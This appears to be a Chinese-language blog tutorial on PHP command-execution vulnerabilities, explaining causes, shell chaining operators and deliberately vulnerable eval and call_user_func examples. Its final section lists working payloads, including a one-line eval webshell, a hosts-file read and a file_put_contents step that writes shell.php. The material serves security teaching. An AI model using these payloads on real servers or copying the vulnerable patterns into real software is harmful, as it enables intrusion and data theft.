一、基本定义:
命令执行漏洞是指攻击者可以随意执行系统命令,分为远程命令执行(远程代码执行)和系统命令执
行两类。
二、原理
程序应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、
passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系
统命令拼接到正常命令中,从而造成命令执行攻击。
三、两个条件
①用户能够控制的函数输入
②存在可以执行代码或者系统命令的危险函数
四、命令执行漏洞产生的原因
①由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交
恶意构造语句,并提交服务端执行
②命令注入攻击中,Web服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的
主要原因。
五、命令执行漏洞带来的危害
①继承Web服务程序的权限去执行系统命令(任意代码)或读写文件
②反弹shell
③控制整个网站甚至控制服务器
④进一步内网渗透
实例1:
编写一个1.php,内容如下,可以通过提交一个cmd命令来使其执行
实例2:
动态函数调用
实例3:
危险函数导致代码执行
管道符号
LinuX
;前面的执行完执行后面的
|是管道符,显示后面的执行结果
||当前面的执行出错时执行后面的
Windows
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的
通用命令符
command1&& command2 command1执行成功才执行command2
command1 | command22 只执行command2
2command1 & command2 command1和command2之间互相不影响
常见场景
①Ping主机
②DNS请求
③Office文档
④框架缺陷
六、远程命令执行漏洞相关函数
在PHP下,允许命令执行的函数有:
①eval()
实例:
<?php
$var = "i";
if (isset($_GET['arg'])) {
$arg = $_GET['arg'];
eval("$var = '$arg';");
echo "\$var = ".$var;
}
当提交http://127.0.0.1/4.php?arg=phpinfo();漏洞产生。
注意: 使用 eval()
函数执行字符串中的PHP代码。这里的代码是将 $arg
的值赋给 $var
。注意,
这里的表达式是 $var = '$arg';
,其中 $arg
被单引号包围,意味着 $arg
中的内容将被当作字符
串处理。
②assert()
和eval()函数类似,此处不在举例
③preg_replace()
/e已被废弃,此处做了解
④call_user_func()
http:/127,0.0,1/phpos,call_user_funcphp?a=assert&b=phpinfo()
<?php
if (isset($_GET['a'])) {
// 调用用户函数,传递从GET请求中获取的参数'a'和'b'
call_user_func($_GET['a'], $_GET['b']);
} else {
// 如果GET参数'a'未设置,提示用户输入
echo "Please input a";
}
call_user_func
是一个PHP函数,用于调用第一个参数指定的函数名,其余参数作为调用的函数
参数传递。这里假设 $_GET['a']
是一个函数名,$_GET['b']
是传递给这个函数的参数。
⑤ $a($b)
这里使用了PHP中的可变函数特性。$a
存储的是一个函数名,$b
是该函数的参数。例如,如果URL
是?a=assert&b=phpinfo()
,则这行代码会执行assert(phpinfo());
。
http://127.0.0,1/php/os/kbhs.php?a=assert&b=phpinfo()
<?php
if (isset($_GET['a']) && isset($_GET['b'])) {
$a = $_GET['a'];
$b = $_GET['b'];
$a($b); // 可变函数调用
} else {
echo "Please input both 'a' and 'b'";
}
如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏
洞。
七、利用方式:
①?a=@eval($_POST[111]); 一句话木马
666=phpinfo()
②?a=print(_FILE_); 获取当前绝对路径
③?a=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts')); 读取文件
④?a=var_dump(file_put_contents($_POST[1],$_POST[2]));1=shell.php&2=<?php phpinfo()?>写
shell
标签:函数,命令,phpinfo,漏洞,实例,概述,执行 From: https://blog.csdn.net/qq_52712762/article/details/139177817